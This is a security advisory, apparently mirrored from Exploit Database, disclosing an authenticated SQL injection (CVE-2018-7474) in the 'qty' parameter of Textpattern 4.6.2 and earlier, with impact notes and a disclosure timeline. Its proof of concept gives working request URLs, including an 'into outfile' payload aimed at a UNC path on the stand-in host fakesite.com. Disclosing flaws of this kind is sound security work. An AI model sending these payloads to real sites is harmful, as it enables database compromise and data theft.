TextPattern 4.6.2 – ‘qty’ SQL Injection

• Exploit Database
• 55 阅读

• 作者： Manuel García Cárdenas
  日期： 2018-03-12
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44277/

• =============================================
  MGC ALERT 2018-002
  - Original release date: February 12, 2018
  - Last revised:March 12, 2018
  - Discovered by: Manuel García Cárdenas
  - Severity: 7,1/10 (CVSS Base Score)
  - CVE-ID: CVE-2018-7474
  =============================================
  
  I. VULNERABILITY
  -------------------------
  SQL Injection in Textpattern <= 4.6.2
  
  II. BACKGROUND
  -------------------------
  Textpattern is a free and open-source content management system (CMS) based
  on PHP and MySQL, originally developed by Dean Allen and now developed by
  Team Textpattern.
  
  III. DESCRIPTION
  -------------------------
  This bug was found using the portal with authentication as administrator.
  
  To exploit the vulnerability only is needed use the version 1.0 of the HTTP
  protocol to interact with the application.
  
  It is possible to inject SQL code in the variable "qty" on the page
  "index.php".
  
  IV. PROOF OF CONCEPT
  -------------------------
  The following URL's and parameters have been confirmed to all suffer from
  SQL injection.
  
  /textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50&_txp_token=baa07ba857d3618ef810b725b9d4d9d8
  
  Note: the variable "_txp_token" doest not work as a anti-csrf.
  
  POC:
  
  /textpattern/textpattern/index.php?event=link&step=link_change_pageby&qty=50%20into%20outfile%20'%
  5cfakesite.com%5c'%3b%20--%20&_txp_token=baa07ba857d3618ef810b725b9d4d9d8
  
  V. BUSINESS IMPACT
  -------------------------
  Public defacement, confidential data leakage, and database server
  compromise can result from these attacks. Client systems can also be
  targeted, and complete compromise of these client systems is also possible.
  
  VI. SYSTEMS AFFECTED
  -------------------------
  Textpattern <= 4.6.2
  
  VII. SOLUTION
  -------------------------
  Disable website until a fix is available.
  
  VIII. REFERENCES
  -------------------------
  https://textpattern.com/
  
  IX. CREDITS
  -------------------------
  This vulnerability has been discovered and reported
  by Manuel García Cárdenas (advidsec (at) gmail (dot) com).
  
  X. REVISION HISTORY
  -------------------------
  February 12, 2018 1: Initial release
  March 12, 2018 2: Revision to send to lists
  
  XI. DISCLOSURE TIMELINE
  -------------------------
  February 12, 2018 1: Vulnerability acquired by Manuel Garcia Cardenas
  February 12, 2018 2: Send to vendor without response
  February 26, 2018 3: Second email to vendor without response
  March 12, 2018 4: Send to the Full-Disclosure lists
  
  XII. LEGAL NOTICES
  -------------------------
  The information contained within this advisory is supplied "as-is" with no
  warranties or guarantees of fitness of use or otherwise.
  
  XIII. ABOUT
  -------------------------
  Manuel Garcia Cardenas
  Pentester